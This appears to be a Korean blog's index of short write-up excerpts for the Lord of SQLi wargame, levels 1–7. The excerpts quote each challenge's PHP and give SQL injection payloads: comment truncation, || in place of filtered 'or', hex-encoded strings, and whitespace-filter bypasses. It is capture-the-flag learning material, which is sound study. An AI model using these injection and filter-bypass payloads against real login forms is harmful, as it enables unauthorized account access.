본문 바로가기

웹 해킹/lord of SQL16

los 7번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); highlight_file(__FILE__); ?> or과 and가 우회되므로 || &&을 .. 2018. 6. 28.
los 6번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?>or과 and 필터링!or 대신 ||을 써준다. ?pw=' || id='admin query : select id from prob_darkelf where id='guest' and pw='' || id='admin' 1' | id='heeyeon했을 때, 왜 guest로 로그인이 되는걸까? 2018. 6. 27.
los 5번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>공백 우회 1. Tab %092. \n %0a3. %0d4. /**/5. ()6. + 여기서는 1, 2, 3, 4번 다 적용되었다. 1'%09or%09id='admin query : select id from prob_wolfman where id='guest' and pw='1'orid='admin' 2018. 6. 27.
los 4번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello admin"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>직접 패스워드와 비교를 하므로 실제 패스워드를 알아내야 한다.. 2018. 6. 27.
los 3번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>id가 admin이어야 한다!하지만 쿼리문에 guest가 있다그리고 no로 입력값을 넣어준다! id 에 ' " ` 가 있으면 안된다! 그렇다면 ' 을 우회해서 문자열을 넣어주면 된다! 헥스값으로 넣어주자! no=1일때 guest이므로 no가 1이 아닌 0을 넣어주면 ?no=0 or id=0x61646D696E id='guest' and no=0 or id=0x61646.. 2018. 6. 27.
los 2번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "Hello {$result['id']} You are not admin :("; highlight_file(__FILE__); ?>id가 admin이어야 풀린다! admin으로 로그인을 해야 한다! ?id=admin'--%20 2018. 6. 27.
los 1번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>preg_match("pattern","subject")pattern에 주어진 정규표현식을 subject에서 찾는다. PHP의 정규표현식은 구분자로 시작해서 구분자로 끝을 내야 한다.구분자는 보통 /를 사용한다.구분자 뒤에는 옵션이 위치할 수 있다.ex) 옵션 i : 대소문자를 구분하지 않는다. |는 OR 연산자 기능을 한다. id: prob or _ or . or () with no 대소문자 구분pw: prob or _ or . or () with no 대소문자 구.. 2018. 6. 27.